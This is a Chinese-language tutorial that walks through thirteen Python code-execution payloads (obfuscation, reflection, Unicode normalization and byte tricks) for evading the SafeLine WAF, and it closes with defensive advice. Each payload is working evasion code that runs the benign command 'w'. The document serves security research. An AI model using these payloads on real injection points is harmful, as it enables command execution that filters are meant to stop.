浅尝Python代码执行绕过WAF的艺术
字数 2938
更新时间 2026-03-24 14:47:35

Python代码执行绕过WAF教学文档

本文档基于《浅尝Python代码执行绕过WAF的艺术》一文,旨在系统性讲解多种绕过Web应用防火墙(WAF)的Python代码执行技巧。文章以雷池(SafeLine)WAF 9.3.3个人版为测试对象,通过13个实战Payload,深入剖析绕过原理。

0x01 核心思想

绕过WAF的本质在于破坏其预设的正则匹配模式、关键词检测或语义分析逻辑,通过编码、混淆、反射、动态构建等方式,将恶意载荷“变形”,使其在执行时恢复功能,但在检测时特征被掩盖。

0x02 准备工作

  • 目标WAF:雷池(SafeLine)WAF 个人版 Version 9.3.3
  • 测试指令:统一使用Linux命令w,以降低命令本身的攻击特征对检测结果的影响。

0x03 绕过手法详解

早期尝试(被拦截的案例)

Payload 1: 直接调用

  • 代码: import os; os.system("w")
  • 拦截原因: 直接检测到system(敏感字符组合。

Payload 2: 字符串拼接

  • 代码:
    e=eval; p='__im'+'port__'; o='o'+'s'; s='sys'+'tem'; e(p+'("'+o+'").'+s+'("w")')
    
  • 结果:
    • 普通模式:绕过。
    • 高强度模式:被拦截。WAF检测到eval并在后台记录为XSS攻击。

Payload 3: 通过__globals__获取__builtins__

  • 代码:
    g=getattr; gn='__glob'+'als__'; bn='__buil'+'tins__'; e=g(lambda:0,gn)[bn]['ev'+'al']; e('__im'+'port__("os").system("w")')
    
  • 结果:同Payload 2,被智能语义检测到eval而被拦截。

成功绕过案例

Payload 4: 动态属性溯源

  • 代码:
    g=getattr; gb='__glob'+'als__'; bi='__buil'+'tins__'; im='__im'+'port__'; b=g(lambda:0,gb)[bi]; i=b[im] if isinstance(b,dict) else g(b,im); i('o'+'s').system('w')
    
  • 原理:利用函数对象(lambda:0)的__globals__属性指向其全局命名空间的特性,间接获取__builtins__,再从中取出__import__函数。整个链条避开了直接书写__import____builtins__等敏感词。

Payload 5: 环境对象依赖

  • 代码:
    g=getattr; bk='__buil'+'tins__'; b=g(pd,bk); ik='__im'+'port__'; i=b[ik] if isinstance(b,dict) else g(b,ik); sk='sys'+'tem'; ok='o'+'s'; g(i(ok),sk)('w')
    
  • 原理:利用环境中已存在的合法第三方库(如pandas的pd)作为跳板,通过getattr(pd, '__builtins__')获取内置函数空间。WAF可能对业务常用库的审计权重较低或存在白名单机制。

Payload 6: 标准编码混淆

  • 代码: import base64; exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgndycp').decode())
  • 原理:将恶意代码import os;os.system('w')进行Base64编码。这是经典绕过方式,但许多基础WAF可能缺乏动态解码检测能力。

Payload 7: 字符级动态构造

  • 代码: import os;getattr(os, ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))(chr(119))
  • 原理:利用chr()函数将ASCII码转换为字符,在内存中动态拼接出systemw,避免在源代码中出现完整的敏感字符串。

Payload 8: 十六进制转义与字典访问

  • 代码: i=__import__('\x6f\x73');vars(i)['\x73\x79\x73\x74\x65\x6d']('\x77')
  • 原理
    1. 编码:使用\x十六进制转义字符表示ossystemw
    2. 属性访问变形:使用vars(i)['system']代替i.systemvars()返回对象的属性字典,此方法将.属性访问转换为字典键值访问,破坏了os.system这种连续字符串模式。

Payload 9: 进阶反射调用

  • 代码: import importlib as i;m=i.import_module('\x6f\x73');m.__getattribute__('\x73\x79\x73\x74\x65\x6d')('\x77')
  • 原理
    1. 替代导入:使用importlib.import_module代替__import__import关键字。
    2. 底层属性获取:使用对象底层的__getattribute__方法获取system函数引用,比getattr更少见。

Payload 10: Unicode 等价性 (NFKC)

  • 代码: 𝒆𝒙𝒆𝒄("import os;os.𝒔𝒚𝒔𝒕𝒆𝒎('w')")
  • 原理:利用Unicode中的“数学斜体”字符(如𝒆𝒙𝒆𝒄exec的视觉变体)。Python解释器在解析标识符时会进行NFKC正规化,将其转换为标准ASCII字符exec。但基于正则表达式(如[a-z])的WAF规则无法识别这种特殊Unicode字符。

Payload 11: 零宽字符干扰

  • 代码: c = 'o\​s.s\​y\​s\​tem("w")'.replace('\​', ''); getattr(builtins, 'ev'+'al')(c)
  • 原理:在关键字符串中插入零宽空格(),该字符在显示和解释执行时(被replace移除后)无影响,但能打断WAF正则引擎对连续字符串(如os.system)的匹配。

Payload 12: F-string 逻辑拆分

  • 代码: c=f"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}"; getattr(__import__('os'), c)('w')
  • 原理:利用F-string在大括号{}内执行表达式并返回字符串的特性,将system拆分为六个独立的单字符。静态分析时是六个字符常量,仅在运行时拼接。

Payload 13: Latin-1 字节流逃逸

  • 代码:
    b=__builtins__; k=bytes([101, 120, 101, 99]).decode('latin-1'); b[k](bytes([105,109,112,111,114,116,32,111,115,59,111,115,46,115,121,115,116,101,109,40,39,119,39,41]).decode('latin-1'))
    
  • 原理
    1. 字节构造:将execimport os;os.system('w')的每个字符转为ASCII码列表。
    2. Latin-1解码:利用Latin-1编码与0-255字节码的一一对应关系,将字节列表解码回字符串。
    3. 直接索引调用:通过__builtins__[k]获取exec函数,避免.操作符。

0x04 总结与防御启示

  1. 组合拳效果更强:单一手法可能被某些规则拦截,但将多种手法(如编码+反射+动态构建)组合使用,绕过率会显著提高。
  2. 应用场景:主要针对存在代码/命令执行漏洞的Python后端应用。
  3. WAF检测盲区:传统正则匹配和基础语义分析在面对Unicode正规化、字节流转换、动态反射和内存拼接等复杂手法时存在明显不足。
  4. 防御建议
    • 对WAF研发者而言,需深入理解Python解释器的底层特性(如NFKC、属性查找链),并结合动态沙箱、行为分析等进行多维度检测。
    • 对开发者而言,避免使用evalexecos.system等危险函数,使用最小权限原则运行服务,并对输入进行严格的白名单验证。

注:本文档内容完全基于提供的链接内容整理。文中所有技术仅用于安全研究与防御技术探讨,任何个人或组织不得将其用于非法用途。

相似文章
相似文章
 全屏